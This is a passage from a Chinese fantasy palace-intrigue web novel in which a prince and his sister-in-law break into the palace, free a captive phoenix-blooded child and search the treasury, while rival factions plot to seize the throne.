黄钊点头,“这件事情不难,难的是对付珩王府。上次皇上派人出去对付他,里面安排了五个羑洲过来的高手,又带了剧毒,没想到还是被他逃脱。” “而其中一个死士,至今生不见人死不见尸,真是叫人不安。” 大祭司闻言道:“我已经叫人冒充百里家的人进宫,在春猎那日刺杀珩王。至于慕听澜,我听说她有天眼,所以才被蝴蝶谷看上的。” “不论她是不是羑洲人要找的那个人,她的天眼和血脉必定极其珍贵,这个人要活的,有把握吗?” 他看向二皇子。 二皇子点头,“九重楼的杀手很厉害,我们这一次出大价钱,买排名第二的九月和排名第三的惊蛰出手,应该问题不大。” 大祭司蹙眉,“为何是第二和第三?第一是谁?为何不请他?这样胜算更大。” 二皇子摇头,“排名第一的叫那伽,这个人请不起,他出手一次一次要三十万两黄金,我们根本凑不出那么多钱。” “这个九重楼真是黑心!” 大祭司闻言不忿,“难不成,那排名第一的比羑洲的高手还要厉害吗?” 二皇子道:“说不上来厉不厉害,但据说如果真的打起来,九重楼其他杀手一起上,都不是他的对手。” “……” 大祭司皱起了眉,“罢了,不管是谁,能抓了慕夫人就行,本座要她的天眼。” 黄钊闻言,问道:“敢问大祭司,这天眼到底是什么东西?” “很厉害的天赋血脉。” 大祭司说起这个,语气变得严肃,“她现在只用来内视,有点暴殄天物了。根据记载,天眼用得好的人,可以看穿一切,甚至是千里之外的事务,人的前世今生。” “但自从迷雾世界隔绝了两地之后,燕龙古地很多秘法都已经失传,她早就不会用天眼了。” 说到这里,他的眼中露出觊觎之色,犹如漆黑的火。 他看向二皇子,“只要这个女人落在本座手上,你的皇位本座保了!” 二皇子大喜过望,“那就多谢大祭司了!” 三人商量好,各自隐入夜色。 而此时,谢景珩也带着容汀兰和月玲珑进了宫,不说一路畅通无阻,也差不多了。 第126章 第三眼 第一百二十六章 第三眼 “王爷,人在秘牢那边,一会儿我们的人会换班,等换班的时候,直接过去就行。” 一个小太监跟着他们,低低说着话。 禁军已经被引开,在皇宫西边的宣武门与人打斗起来,远处喧嚣声一片,“有刺客!有刺客!保护皇上!” 容汀兰拉着月玲珑的手,脸色诡异地看向谢景珩,“你安排的?” 此时此刻,她对“珩王权倾朝野”这六个字,有了更深刻的认识。 如今的珩王府从兵力上来看,的确和当年的镇南侯一般无二。可从珩王做的事情来看,珩王府却远比镇南侯府水深,珩王也没镇南侯那么老实。 他的人现在都把皇宫渗透成了个筛子。 要说不想篡位,谁信? 一念及此,容汀兰不由想到了之前见过两次的那个慕容公子。 他也想拿回皇位。 所以实际上,瀛洲现在至少有四股大势力:羑洲人、萧氏皇族、前朝慕容氏皇族、如今的珩王府。 这些人,都盯着皇位。 容汀兰感觉,自己在这么多人当中想要达到给父亲平冤昭雪的目的,恐怕不会那么容易。 失神时,耳边传来谢景珩低醇的声音,“只是给二皇子的人送了封信而已。” 容汀兰眨眨眼,有些不解。 “什么信能让二皇子的人直接对皇宫发动攻击?他是疯了吗?之前他不是想杀了太子,再上位吗?” 一瞬间,只觉得谢景珩深不可测。 男人瞥了眼不远处的宫殿,道:“跟他说,皇上联系上了羑洲其他势力设下一计,今天晚上在后宫抓大祭司和蒋贵妃,一旦抓住直接杀了蒋贵妃和大祭司。” 容汀兰顺着他的目光看过去,“那就是蒋贵妃的寝宫?今晚大祭司真的在里面?” 好奇之余有些震惊,“就这个消息,王爷怎么保证二皇子一定会信?” “大祭司是羑洲人,羑洲有没有其他势力来,他肯定是知道的。皇上既然选了大祭司,为何又与其他人勾结?” 这当中,疑点太多了。 前方突然传来动静。 谢景珩一把把她和月玲珑拉到了角落里,等人走过去之后,才低声开口,“原本之前是不信的,但是现在不一样。” “昨天晚上,皇帝召见大祭司,想让他帮忙。但大祭司提出条件,让他先找到玉玺,并对此表现得很失望。玉玺失踪多年,皇帝一直在找,却杳无音信。” “现如今突然上哪里找去?” “这个时候,皇帝不信任大祭司,寻求其他帮助是很正常的。” “另外,二皇子和大祭司、黄钊三人刚刚商量着要造反,他们本就心虚,也不能完全确定皇帝没有丝毫觉察,所以当这个消息传到二皇子耳中,二皇子为保证万无一失,自然而然就上当了。” 容汀兰眼神闪了闪,“所以,这实际上是个恰到好处的心理战术?” “那大祭司呢?二皇子不会和他商量吗?” “一旦他找到大祭司,这个假消息就会不攻自破……” 谢景珩闻言嘴角上扬,“因为,现在这个时间已经宫禁了,二皇子住在外面,进不来。而大祭司现在,本就在蒋贵妃的寝宫。” “若没有羑洲高手帮忙,即便是查下来,大祭司也很容易脱身。但是本王给二皇子的消息是,皇上请其他势力的羑洲人出手了。” “而二皇子,其实对羑洲人并不了解。他只会对比大祭司的实力,对标羑洲人的实力。若皇帝那边羑洲人够多,那大祭司就是一人难敌四手。” “所以,逼不得已,他只好设法制造混乱,一是为了示警,二是将皇帝的人引到宣武门去,给这边反应的时间。” 容汀兰:“……” 她算是看明白了。 谢景珩这个人虽然长得好看,但却一肚子坏水儿,心思深沉得很,算计人一套一套的。 “那么,有朝一日王爷是否也会这般算计我?” 她看向谢景珩,眼神亮晶晶的。 还带着一点点真实的担忧。 谢景珩勾唇,“那可说不好。” 容汀兰:“……” 正说话时,看见蒋贵妃寝宫墙上突然翻出一道黑影,一把抓住门外的一个小太监,问:“外面怎么回事?” “他就是那个大祭司?” 容汀兰是第一次见这个人。 他一身紫袍,身上的气息很特殊…… 准确的来说,是很混乱。 明明只有一个人站在那里,却给人一种一群人熙熙攘攘的感觉,让她很不舒服。 谢景珩看了她一眼,“是他……你怎么了?” “他给我的感觉很奇怪。” 容汀兰凝眉,“我敢保证,我长这么大从未有过这种感觉。” 也不知道那小太监说了句什么,那紫衣人扑向了宣武门。 谢景珩看了眼容汀兰,“走吧,这边彻底安全了。羑洲的修行者每个都很特殊,回去之后慢慢说。” 夜色里,他的表情异常凝重。 也不知道是因为夜闯皇宫太过危险,还是因为羑洲人。 容汀兰点点头,拉着月玲珑跟上去。 三人转过一片亭台楼阁,竟然来到了一座假山之下,看得容汀兰目瞪口呆,“这里什么也没有,怎么来这里了?” “不说人在秘牢吗?” 一直没说话的月玲珑瞳仁一亮,“这里有机关,我去打开!” “你行吗?小心触发禁制!” 谢景珩一把揪住她的后领子。 月玲珑迈出的腿挣扎了两下,回落在地,“我可以的,这个机关不难。” “行,你试试。” 谢景珩松开了她,一瞬不瞬盯着前方的假山,眼底隐隐有银光流转。 在容汀兰面前的,是一座假山。 在月玲珑面前的,是一片机关窍门。 在谢景珩面前的,是一片星海。 容汀兰等月玲珑去解开机关,谢景珩觉得时机难得,低低道:“你试试你的天眼,它不仅可以内视,还能看透一切。” 容汀兰一惊,“怎么看?” “我只看过别人的身体内部构造……假山也行吗?”她一直以为,她的双眼是为了医术存在的,能看到人 体内部的结构和气脉运行,已经是天赋异禀。 却没想到,还能看别的。 谢景珩道:“和内视一样,你可以放松身体,我来引导你的气息运行,你会有感觉。” 容汀兰半信半疑,但还是放松下来。 一股无比光明、浩瀚无垠的力量缓缓涌入她的身体,牵引着她的力量来到眉心。 一道金光骤然在眉心乍现,她惊得瞪大眼睛,“我、我我怎么感觉我眉心裂开了!” “这叫第三眼,你之前其实并没有真正开启它的力量。” 谢景珩小心引导,“现在你用这只眼睛的力量,去看那座假山。” 容汀兰极度不适应。 但她还是鼓起勇气尝试了。 在看到假山的那一瞬间,她惊愕的瞪大了眼睛,“我看到了那个小女孩!” 第127章 长离幼崽 第一百二十七章 长离幼崽 “我的视线居然穿透了假山,这太神奇了!” 容汀兰惊呼出声,“我看到了那些机关,那是北斗七星,只要把固定的钥匙放在正确的位置,这座假山就会打开一道门,让我们下去!” “那个小女孩就在下方!” 容汀兰看着这奇妙的画面,脸上满是激动。 谢景珩看着她兴奋的样子,也觉得开心,语气很温柔,“嗯,以后可以这么用。” 容汀兰眨眨眼睛,扭头看向谢景珩。 也可以对他这么用吗? 人站在紫烟阁,就能看到凌烟阁当中他在干什么,这岂不是无敌了? 万一时机不对,看到了不该看到的…… 一瞬间,容汀兰红了脸。 谢景珩一看她这个样子,就知道她没想好的,不禁无语,“别对本王用,我能感觉到。” “我没那么想……” 容汀兰脸上一烫,赶忙否认,扭头看向了假山,但脸蛋还是红彤彤的。 如她所见,当月玲珑将七颗大小不一,形状不同,色彩各异的石头卡在假山上凹陷的位置,恰到好处形成一副北斗七星图时,假山发出微不可查的“咔嚓”一声。 似乎有什么启动了。 斗转星移,七星次第点亮,当最后一颗星星光芒乍起时,原本严丝合缝的假山裂开一道缝隙,石山往两边移开,露出一道黑黝黝的门,从下面隐约透出亮光。 “开了!” 月玲珑扭头,眼神亮晶晶的。 一副我厉害吧的表情。 容汀兰朝着她竖起大拇指,“不愧是我家小师妹。” 月玲珑得到夸奖,开心地笑了。 “的确很厉害。” 谢景珩也意思了一下,随后看向容汀兰,“我们下去?” 容汀兰点头,“你们先走,我殿后,玲珑武功不太行,只能在中间。” 谢景珩点点头,率先走下台阶。 月玲珑走在中间,容汀兰跟了上去。 三人一起下了台阶,走出去大概一百米左右,看到了下方的秘牢,和被铁索穿透琵琶骨,挂在石壁上的小女孩。 她看上去只有人类小孩三四岁难么大,小小的身子血迹斑斑,但生命力却比百里寻旺盛太多,甚至在看到有人下来的时候,露出极其凶狠的表情,虎牙程亮。 “残暴的人类,你们今日喝我的血,来日我定会将你们挫骨扬灰!” 嗓音是稚嫩的。 但是气血之旺盛、眼神之凶残都叫人胆寒。 “嘘!小声一点!” 容汀兰抬眼看向她,赶紧解释道:“我们是来帮百里寻救你的,你不要大声嚷嚷,引来追兵就麻烦了。” “哥哥……” 方才还凶狠异常的小女孩,在听到“百里寻”这个名字的时候,潸然泪下。 犹如一只刚出壳的小兽,瞬间脆弱到了极致。 显然,百里寻之前对她很好。 容汀兰心生怜惜,“不要害怕,我们很快就能见到他了。” 但眼看这么幼小的孩子被是施以酷刑,当成血包,也不由得一阵愤怒,“当今皇上可真是个人间禽 兽,这样的人怎配坐在龙椅之上!” “他该下地狱!” 说着,扭头看向谢景珩,询问是否可以动手。 谢景珩的脸色也没多么好看。 他也可怜这个孩子,闻言直接动了手。 只是拂袖之间,前方玄铁铸的囚笼灰飞烟灭,小女孩背后的铁索也碎成齑粉。 更恐怖的是,这一切都好像是无声画面,静悄悄的就发生了! 这显然,不是武功高强,内力身后那么简单。 她骇然地看了眼谢景珩。 谢景珩的强大,远在她预料之外! 但眼下也顾不得多想,因为那孩子从半空中坠了下来。 几乎是本能反应,容汀兰扑上去,一把将那孩子抱在怀中,“你忍一下,我给你上药。” 说着,拿出药瓶就要给她止血。 可她瓶子还没打开呢,那孩子身上的伤口却以肉眼可见的速度愈合了! 容汀兰愕然,下意识看向谢景珩,“怎么愈合能力会这么强?” 这个世界的一切,都无限脱离她的掌控! 天外有天,她不知道的事情太多了! 容汀兰心头震颤,好奇心夹杂着不安与担忧,让她看向谢景珩,“羑洲都是这样的强者吗?” 那若是打起来,还有什么胜算? 谢景珩看出她的担忧,解释道:“她这是特殊情况,即便是在羑洲也是稀罕的。” “长离圣兽不死不灭,浴火重生是她与生俱来的特点。死都不怕,何况还是这么点小伤口。”” 容汀兰闻言疑惑,“那她怎会被困住?” 谢景珩看了眼囚笼,道:“那铁索她之所以无法挣脱,是因为上面混入了一些专门克制她的极阴之物,否则根本困不住她。” 容汀兰恍然,“世间阴阳相生相克,果然没有任何事物是无懈可击的。” 谢景珩点头,“所以你也不必太担心羑洲人,他们有他们自己的弱点。” 容汀兰闻言一愣。 所以,谢景珩是在安慰她? 一瞬间心头涌上暖意,容汀兰笑了笑,“王爷说得对,我应该勇敢往前走,而不是在敌人来临之前,先把自己吓坏了。” “嗯,我们上去。” 谢景珩笑着看了她一眼,对月玲珑道:“趁着外面大乱,我们去国库。” “这太好了!” 月玲珑开心极了。 她是来找太阳金的。 可是凭借她的武功,想独闯皇宫几乎不可能,机关又不太适合战斗,最擅长的是提前布局,或者远程攻击。 所以,谢景珩和容汀兰能带着她进来,那就相当于皇宫的大门直接对她敞开了。 危险大大减少。 她蹦蹦跳跳跟着两人上去,并将假山严丝合缝地归位。 外面夜色如洗,这里似乎什么也不曾发生。 他们走后,守卫顺利交接。 一切天衣无缝。 而此时,宣武门那边的战斗还未结束,后宫众人被惊动,零星的小太监和宫女正在打探小心,但都很谨慎。 如此一来,反倒没有人关注国库那边。 容汀兰等人过去的时候,国库外面除了少量的禁军之外一片死寂,而禁军也严阵以待,以防随时会爆发的危险。 但他们终究只是武功好一点的普通人。 因此,都没发现谢景珩和容汀兰等人过去。 容汀兰从屋顶上落下时,直接下了毒。 等三人带着长离落地,那些禁军已经中毒,一个个呆愣在原地,像是牵线木偶一样毫无反应。 容汀兰看了眼前方厚重的大门,直接问道:“谁有钥匙?开门。” 一个禁军迟钝上前,打开了国库。 谢景珩瞥了她一眼,“你这一招,可别用在本王身上。” 第128章 五彩斑斓的黑 第一百二十八章 五彩斑斓的黑 他也有些发怵。 “不敢不敢。” 容汀兰憨笑,别说那样不地道,便是谢景珩展现出来的这个实力,她都不敢轻举妄动。 况且,她喜欢谢景珩。 而谢景珩对她也很好,还帮她开发第三眼。 她岂是忘恩负义的人? 于是又道:“我这一招只对付敌人,王爷也说了,我们也是一家人,我护着你还来不及呢。” “那本王的安危,可就拜托给嫂夫人了。” 谢景珩勾唇。 像是开玩笑,又像是某种暗示与勾引,莫名叫人脸红心跳。 容汀兰有些招架不住,轻咳一声忙转移话题,看向月玲珑,“我们有半个时辰的时间,那东西长什么样子?” “我帮你找。” 她现在能用天眼看外面的东西,正好用一用。 月玲珑挠挠脑袋,“听师父说,是黑色的一块……金子?我没见过,描述不出来。” 太阳金失踪的时候,她还没出生呢。 容汀兰汗颜,只得看向谢景珩,“王爷知道它的特征吗?” 谢景珩道:“普通人用肉眼看它,它平平无奇,像是一块黑色的石头。但以你的天眼,应该一眼就能发现它很特别,像是太阳照耀之下的乌鸦的羽毛。” 容汀兰明白了,“五彩斑斓的黑?” “……对。” 谢景珩点头。 形容得还怪贴切的。 容汀兰懂了,按照刚刚谢景珩教给她的巡行路线图,将自己的力量集中到眉心,并集中注意力。 眉心出现一个白点。 紧接着,金光乍现。 四周的一切都变得与肉眼所见不同,她的视线穿透一层一层的障碍,看到最深处的东西。 可扫视一周,她并未找到那个东西。 “这里没有太阳金。” 她收了第三眼,看向谢景珩。 “那就不在国库,需要重新查探。”谢景珩看向月玲珑,“太阳金失踪太久了,如果国库没有,就需要其他的线索。” 月玲珑有些失望,“这下麻烦了,这怎么查?就和大海捞针一样,可师父说若是再找不到太阳金,鬼谷就要完蛋了。” 谢景珩道:“只要它还在这世上,就肯定能找到,太阳金炼制艰难,除了顶级的炼器大师,根本不可能将它熔炼。” “无论最后谁得到了这个东西,只要他想使用,就必定得去找炼器大师。” “这样吧,先从炼器师身上去查。” 月玲珑点头,“那我回去给师父写信。” 几人在国库一无所获,只好离开。 容汀兰解了禁军身上的毒,三人抱着那个小女孩,消失在皇宫之中。 片刻之后,落在了皇宫外面的街道上。 远处宣武门那边还是一片喧嚣。 容汀兰忍不住看了那边一眼,有些跃跃欲试,于是睨了眼谢景珩,“要不要去宣武门看戏?” “你想?” 谢景珩睨了她一眼,感觉她聪明的时候是真的聪明,但贪玩的时候,仍然还是孩子心性。 让人想宠着。 容汀兰见他不是很抗拒的样子,点头道:“那个大祭司不是过去了吗?我想去看看。” “也行。” 谢景珩点了点头,叮嘱月玲珑和那个小女孩,“一会儿无论发生什么都不要喊。” 一大一小两个女孩点头。 谢景珩从容汀兰怀中把那个小孩接过来,一手抱着孩子一手拉着容汀兰。 容汀兰牵着月玲珑的手。 四人用轻功扑向宣武门,只留下一串很温馨的残影,在片刻之后出现在宣武门对面的屋顶上。 “不能再近了,你想要看清楚的话,可以练习练习天眼。”谢景珩停下来,看向容汀兰。 容汀兰点头,开启天眼望向战场。 宣武门外。 禁军和刺客正打得难解难分。 开始的刺客还在拼命往里面闯,但在看到城墙上的紫衣人时,其中一人疾呼一声,“撤!” “???” 禁军先是一愣,随后首领大喊一声,“大祭司来增援了,追!” 顿时,禁军追了上去。 大祭司站在城墙上,本来不想动手的。 可刺客当中,突然有人喊了一声,“娘娘!” 什么?” 大祭司一僵,忽而看到一支箭射向一个方向,而那边根本没有任何人在。 箭头的方向,正是蒋贵妃寝宫! 大祭司蹙眉,忽而意识到什么,“给本座站住!” 说着,朝着那个射箭的人冲了过去。 禁军也在追杀刺客。 可刺客一见大祭司追出来,立即加快了逃离的速度。 刹那间,一群黑衣人飞檐走壁消失不见,留下一群禁军在大街上举目四顾心茫然,“怎么会这么快?他们之前隐藏实力?” “为什么啊?” …… 远处的暗巷里,大祭司拦住了几个刺客,凝眉紧盯着对方,“尔等何人?意欲何为?” 实际上,他也发现了这群人不对劲。 要说是刺杀吧,闹了半天皇宫的门都没进去。 要说不是吧,死了十几个,何苦呢? 最后那一声“娘娘”和射出的箭,更像是在提醒他什么。 前方,黑衣刺客一把扯下脸上的面巾,单膝跪地,“祭司大人!我等接到二殿下的命令,前来营救你!” “你说什么?” 大祭司愣住,“接到二皇子的命令,来救我?” 随后,他笑了,“你本座的实力,需要你们来救?” 简直是笑话。 他冷哼了一声,转身负手,就要离开。 刺客被瞧不起有些不爽,但还是解释道:“夜里我们的人得到消息,说是皇上与羑洲其他势力的人联合了,想要将您堵在贵妃娘娘的寝宫,将您和娘娘一起杀害!” “???” 大祭司转身,停了下来。 刺客继续道:“因此,二殿下才叫我们制造混乱,将那些人引到宣武门去,也让您尽快离开皇宫,避免被人堵在娘娘寝宫!” “……” 大祭司闻言,沉默了。 他看了眼远处的皇宫,有些不可置信:“他想杀本座?” 但语气里,明显染上怒意。 黑衣刺客点头,“说是因为您逼他找玉玺,他又找不着。再加上最近事情太多,急需用人,而您又不肯帮忙,再加上您与贵妃娘娘那事儿,便动了杀心。” “原来如此。” 大祭司信以为真,随后冷哼一声,“但谁给他的狗胆!” 黑衣刺客不敢说话,只是跪着。 大祭司深呼吸一口气,眯了眯眼,“你们且回去,此事我自己会查清楚,若他当真想要卸磨杀驴,便不要怪本座不客气!” 说到这里,起心动念—— 燕龙古地原本就是燕龙人的天下,如今让萧家当了北魏的皇帝,本就是鸠占鹊巢。 第129章 天下归谁? 第一百二十九章 天下归谁? 若狗皇帝胆敢真的对他出手,那么他也不介意将这皇位夺下来,放在自己手上掂量掂量,也正好物归原主了! 欲 望一起,如风涨火势,逐渐成了真正想要的东西。 而刺客是二皇子府的人,还是要为二皇子考虑,闻言赶忙阻拦:“大祭司,有些事情,还是让太子殿下去做的好,不必脏了自己人的手。” 紫衣人深深看了他一眼,“你说的也对。” 先让他们狗咬狗,咬得差不多了,他再出面享受胜利的果实。 正好,也等羑洲其他的帮手来了,先除掉谢景珩再登基,这样更加稳妥。 否则,他和萧氏皇族鹬蚌相争,叫谢景珩渔翁得利,就不好了。 这般想着,他丢下一句话,“去,给东宫添把火,就说过几日四皇子诞辰,皇上打算把皇位传给他,然后跟随本座去修长生术!” 刺客点头离开。 大祭司转身,往祭司殿的方向去。 临走之前,下意识看了眼远处的珩王府,感到不解,自语道:“不过话又说回来,这个谢景珩到底何方神圣?” “他既不像是羑洲人,也不像是燕龙古地出来的。可除了这两个地方,就只剩下迷雾深处。总不能说,他是迷雾当中走出来的生灵吧?” “但愿春猎那日,能杀了他。” “以绝后患。” …… 远处。 容汀兰看了一会儿,琢磨着刚刚他们的反应,“我感觉,大祭司想要皇位,二皇子会不会也是他的棋子?” 谢景珩闻言有些诧异,“这么远,你怎么知道他们说什么?” “我听不见。” 容汀兰摇头,“但很奇怪,我能在天眼看到的画面当中,感觉到他们的精神波动和情绪,好像天眼能看见的不只有画面。” 谢景珩闻言唏嘘,“果然天赋异禀。” 忽而,他扭身看向容汀兰,“你……这些年来,就没有想起其他任何事情吗?比如,神话中记载的燕龙皇族?比如,梦境中有没有类似的场景?” 只有曾经使用过天眼,而且已经登峰造极的人,才会在刚学会使用外视,就激发出更深层次的感悟,过些时间,估计还能学会共感,到时候别人什么秘密都藏不住,可真是无敌之姿。 准确的来说,修行对她而言不是前行,不是追寻,是忆起。 此时此刻,谢景珩无比确定,眼前这个小姑娘,就是谢家一直在等的人。 也是他,命中注定要陪伴一辈子的人。 容汀兰感觉,谢景珩今晚有点神神叨叨的。 她摇摇头,“没有,我的噩梦当中……只有我成长当中那些不快乐的事情。” 准确的说,是镇南侯府的灭门案。 那天夜里的事情,就像是诅咒、或者封印一样,尘封了她所有的梦境,在这十年的光景当中,她午夜梦回,全是那天晚上的场景。 谢景珩若有所思,“这样啊……” 那看来,得赶紧处理掉镇南侯府的案子了。 这样,或许才能让她记起过去。 容汀兰倒是没想那么多,看着东宫的方向道:“祭司殿有人去了东宫,东宫应该有二皇子和祭司殿的眼线,太子离死不远了。” 她说着,扭头看向谢景珩,“你想不想要皇位?” 谢景珩一愣,目光落在她脸上,表情有些复杂,“若本王想要,嫂夫人会支持,还是会想要杀了本王?” 夜色里,他的眼神晦暗未明。 玉玺虽然是从慕容氏传承下来的,但是真正的主子,却既不是萧氏皇族,也不是慕容氏。 而是燕龙皇血。 可燕龙皇血尚未觉醒,眼下居然问出这样的问题,让他不知道说什么好。 他有些期待地看向容汀兰,“还是说,嫂夫人也想登上皇位?” 他的嗓音变得跳跃。 似乎想到了什么有趣的事情,嘴角上扬。 他觉得,摄政王这个位置,也很好。 容汀兰不知他所思所想,有些诧异地道:“王爷怎会问出这样的问题?” 顿了顿,又看着远处的皇宫,道:“皇位在谁手上我并不在乎,我只在乎,谁对我好,谁想害我。” 谢景珩见她不像在演戏,有些失神。 看样子,是真的什么也没记起来啊。 他叹了口气。 而容汀兰说完这一番话,也沉默了。 她真的不想要皇位吗? 以前没想过。 可当谢景珩问出口…… 怎么会有一种熟悉的感觉正在从灵魂深处涌现,让她自然而然想到自己身穿龙袍,坐在龙椅上的感觉? 那种感觉和现在这些皇帝还不同。 她脑海里的画面是不现实的,金銮殿上不但有群臣,还有巨 龙横空,她的威仪无人能挡,生而睥睨天下。 她怎么会出现这种幻觉? 难不成,她的野心竟然比谢景珩都要大吗? 容汀兰觉得离谱,摇摇头将这些纷乱的想法抛诸脑后,看向谢景珩,“夜深了,要不我们回去吧。” 又朝着他笑了笑。 “你若想要皇位,我定会倾尽全力,支持你。” 谢景珩勾唇。 他又何尝不是? 他笑了一下,“那就多谢嫂夫人了。” 月色突然变得有些迷人。 犹如两人之间的感觉,也像是蒙了一层薄纱,暧昧不清。 一路上,几人都没再说话。 等回到珩王府的时候,已经到了后半夜。 月玲珑早就困了,直接回去睡觉。 容汀兰和谢景珩带着长离去找百里寻。 “哥哥!” 长离在看见百里寻的瞬间,便从谢景珩怀中挣开,扑向了他。 大大的眼睛里,泪水像是断线的珠子一样往出掉。 可她的泪水与众不同,都没来得及落在地上,便已经被蒸发了。 一股燥热、狂放、爆烈的气息,在房间里涌动起来,和悲伤的气氛交织在一起,犹如在热油锅里,骤然溅进了一滴水! 这种气息让人想跑。 可百里寻却一把抱住了她,好似完全不怕被她的气息灼伤,轻抚她的后背,安抚着她。 小长离伸出短短的、稚嫩的小手环住了他的脖子。 软软的小脸,在他脸上蹭着,逐渐安稳下来,收了气息变成一个人畜无害的小可怜。 百里寻看向谢景珩和容汀兰,道:“多谢王爷与夫人!” 对于修行者而言,腹语并不难。 他花了一下午的时间,就学会了。 “客气了。” 谢景珩看向他,“只不过,往后这个孩子和你一样,都要易容。也需要一个合理的身份,这样才比较安全。我有个想法,你不妨先听一听。” “王爷请说。” 这也是百里寻担忧的事情。 长离血脉特殊,很容易被人察觉,一旦发现就会很危险,所有人都想捕猎她,而因为穿过迷雾世界,他们两个实力都有所损伤,难以自保。 谢景珩看向容汀兰,道:“不知嫂夫人将长离当成女儿?对外,便说她是你与本王长兄的孩子,往后她便是珩王府郡主,你看如何?” 第130章 女儿 第一百三十章 女儿 容汀兰一愣,“这……我才十六啊。” “十三岁生孩子,是不是太小了?” 她也很喜欢这个孩子。 但是,若说这个孩子是她的女儿,是不是有些离谱? 谢景珩微笑,“好办,就说你十八岁,不是十六。” “……那行。” 容汀兰点了点头,一时间也没多想。 谢景珩心里却很高兴,他喜欢他们之间的羁越来越深,逐渐不分彼此的感觉。 容汀兰看向长离,“做我与王爷的女儿,你愿意吗?” 长离一双眼睛水汪汪的,看了他们一会儿点了点头,“我愿意。” 因为是救命恩人。 也因为,谢景珩和容汀兰身上的气息,让她有一点点迷恋,好像跟着他们她能变得更加强大和安全。 “那太好了。” 容汀兰露出微笑,弯腰把她抱起来,看向谢景珩,“给她起个名字吧。” 谢景珩想了想,道:“就叫谢九凰吧。” “好名字!” 容汀兰心下一喜,赞叹道:“鸟居丹穴,其名为凰。九苞灵瑞,五色文章,换个称呼而已。” 长离也很喜欢。 她很聪明,闻言甜甜的喊了一声,“凰儿见过阿爹阿娘。” 一股微妙的感觉,顿时从容汀兰心头腾起。 她和谢景珩,现在居然为人父母了? 而且,是和谢景珩一起,给人当了爹娘? 这种绑定感让她窃喜,又有些不安。 百里寻看着谢九凰,有些不舍,“既如此,我就留下来,给她当侍卫。” 容汀兰点点头,“你没有舌头,不是很方便。我改日找人给你做个面具戴上,防止被人认出来。” “那太好了。” 百里寻笑着道谢,“夜深了,王爷和夫人早些休息吧。” “那我们走了。” 容汀兰也确实有些困了。 外面月色倾城,清冷的寒意笼罩下来。 容汀兰叹了口气,“一转眼,我来瀛洲也快半个月了。” 只是家人早就不在,如今自己的府邸被人鸠占鹊巢,一想起来,心里就难免凉丝丝的。 谢景珩伸手环住了她的肩头,嗓音轻柔,“虽然只有十几天,可我见嫂夫人,却犹遇故人,仿佛已经相熟百年、千年了。” 容汀兰被他逗笑,“若叫人知道你这般能说会道,估计要惊掉下巴。” 就这张脸,这张嘴,但凡他愿意说话,天下谁人能顶得住? 谢景珩勾唇,“好话虽有,但说的人多了,便没意思了。” “这人间情意,贵就贵在只能给一两人。” “若贡献给世人,那就是佛祖、菩萨、神女。”他看了眼容汀兰,“我没那么宏大的愿景,只想做个普通人。” 容汀兰挑眉。 这话从谢景珩口中说出来,谁信? 却听对方又补充一句,“只可惜,我爱的人非同寻常,也就不得往上走一走了。” 容汀兰闻言眼神诡异,“所以,王爷爱的人究竟是谁?” 醋意浓浓的,弄得谢景珩只笑,“是近在咫尺的某人尚未忆起的部分。” 容汀兰脸上一红,诧异地看向他,“你的意思是,我们之前认识?而我,忘记了什么?” “很多很多。” 谢景珩闻言有些失神,见已经到了凌烟阁外面,便话锋一转道:“走吧,先去休息。记不起来的事情你慢慢想,总会有蛛丝马迹的。” 容汀兰:“……” 她忘了什么? 两人一起进了屋。 谢景珩像是往常一样去床上休息,容汀兰坐在软榻上,琢磨着他刚刚说的那些话,逐渐心神恍惚。 睡着之后,又轻车熟路地爬上了谢景珩的床。 谢景珩等她上来,伸手把她抱在怀中,反倒睡不着了。 这是第一次,他想起很多关于她的事情。 如果她是他在等、要找的人,那么等皇位更迭,改弦易张,他就会成为燕龙摄政王。 而她虽然看着年纪小,一旦记忆拼凑完整,将会是一个足足两千年的古老灵魂,和他在一起……嗯,名副其实的老牛吃嫩草。 谢景珩脸上浮现一抹怪异。 “我这算不算是欺师灭祖?” 他笑了一声,许久才有了些许困意。 然而没过多久,便是黎明了。 容汀兰从他怀里爬出来,径直下床往紫烟阁走去……谢景珩急忙爬起来,帮她去开门。 跟着容汀兰一路来到紫烟阁,他叹了口气,“看样子不能这么下去,否则容易英年早逝。” 还是要早些住在一起才方便。 不然,每天夜里都睡不踏实。 …… 长离逃脱的事情这天晚上宫里并未发现,但皇帝对于宣武门外面的刺客还是感到十分奇怪,“你说,今晚这一波人到底想干什么?又是谁派来的?” 皇帝辗转反侧,不安地看着魏公公。 魏公公跪坐在床边,感到头昏脑涨,他已经好些个晚上没能睡觉了,皇帝不安他跟着受罪。 “看不出来,但是很奇怪。” 他琢磨着,道:“大祭司追出去之后,他们就立即跑掉了,要说是害怕大祭司吧,按理说外人不知大祭司是羑洲来的高手,若这些人当真有刺杀或者别的任务,不会跑得那么快。” “若说不是害怕吧,那会是什么呢?” 他抬头看向皇帝,有一种很奇怪的感觉。 皇帝眉心紧皱,“朕也觉得蹊跷,况且他来的怎会那么快?” 魏公公哑口无言。 大祭司和蒋贵妃之间的那点事情,他和皇帝都心知肚明,但这是能随便说的吗? 皇帝显然也不必他来提醒自己脑门上还有一片青青大草原,一时间脸色难看得像是刚被驴踢过。 最后,眯眼道:“你去替朕办一件事情,看能否联系上羑洲过来的其他人,朕要与他们合作,除掉这个不安分的因素。琢磨不明白,那就不琢磨了。” “……是。” 魏公公退下。 皇帝依然睡不着,主要是他最近右眼皮直跳,总觉得有什么大事要发生。 还是不祥的那种。 与此同时。 太子在睡梦中被惊醒,他的暗卫在门外禀报,“殿下,宫里传来消息,说皇上召见大祭司,决定在春猎之后便随大祭司去修行,要将皇位给四皇子。” “什么?” 太子惊出一身冷汗,“消息准确吗?” “多半是准确的。” 暗卫道:“今夜宣武门有刺客强闯皇宫,被大祭司及时拦下了,可见大祭司今夜的确在宫里。” 太子完全睡不着了。 他披衣起身,来到屋檐下,来回走了两圈,双眼一立露出壮士断腕的决然表情,“既如此,便别怪本殿心狠手辣!” “本殿是太子,却只是一个挡箭牌……”他眯了眯眼,话锋一转问道:“药到位了吗?” 暗卫点头,“子夜刚刚送到。” 太子瞳孔一缩,“上午进宫一趟,便说要探望母后,立即把药送进宫!” 春猎结束之前,他要皇帝死! 第131章 山河镇魂石 第一百三十一章 山河镇魂石 一旦皇帝死了,他作为太子,当立即登基! 这般想着,又问道:“哦,对了。那给四皇子的圣旨写了吗?还有之前不说是传位给二皇子吗?怎么会是四皇子?” 